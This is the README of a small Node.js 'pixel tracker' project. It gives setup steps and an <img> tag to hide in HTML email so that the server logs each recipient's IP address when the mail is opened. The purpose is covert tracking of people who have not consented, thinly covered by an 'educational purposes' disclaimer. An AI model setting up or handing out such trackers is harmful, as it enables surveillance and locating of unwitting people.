A small program that's going to help you on grabbing other's IP address
(Note this doesn't work with email clients that proxy images like gmail webmail)
This project is for educational purposes only! DO NOT TRY THIS AT HOME!
You can do it by clicking the Download
button, then download as ZIP
Alternatively, you can use this command below:
git clone https://github.com/linuxwasnotavailable/pixel-tracker.git
You need to install Node.js first
If you are on Linux and using package manager to install Node.js, don't forget to install NPM too!
After that, you'll be able to use this command:
npm install
const PORT = process.env.PORT || 80;
app.listen(PORT);
Note that if you are on Linux, you can't bind to 80 without root permission
Now, create a new file and name it .env
Now, type the following content into the file you just created:
SECRETONE=SECRET_HERE
Replace SECRET_HERE
to anything you want. Note that if anyone got the secret, they'll be able to see every IP you've logged
To start the server, simply run npm start
If that doesn't work for you, try node server.js
. That will work, too.
Now you need to send an email with html content:
<img src="IP_TO_THE_SERVER/?to=NAME_OF_RECEIVER">
After the img
tag, you can type the content of the email, then you'll be able to grab their IP!
To see IP you've logged, you can go http://localhost/SECRET_HERE
, Replace SECRET_HERE
to the secret you entered in .env
file
Pixel Tracker A small program that's going to help you on grabbing other's IP address
Copyright (C) 2021 linuxthebaddev
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.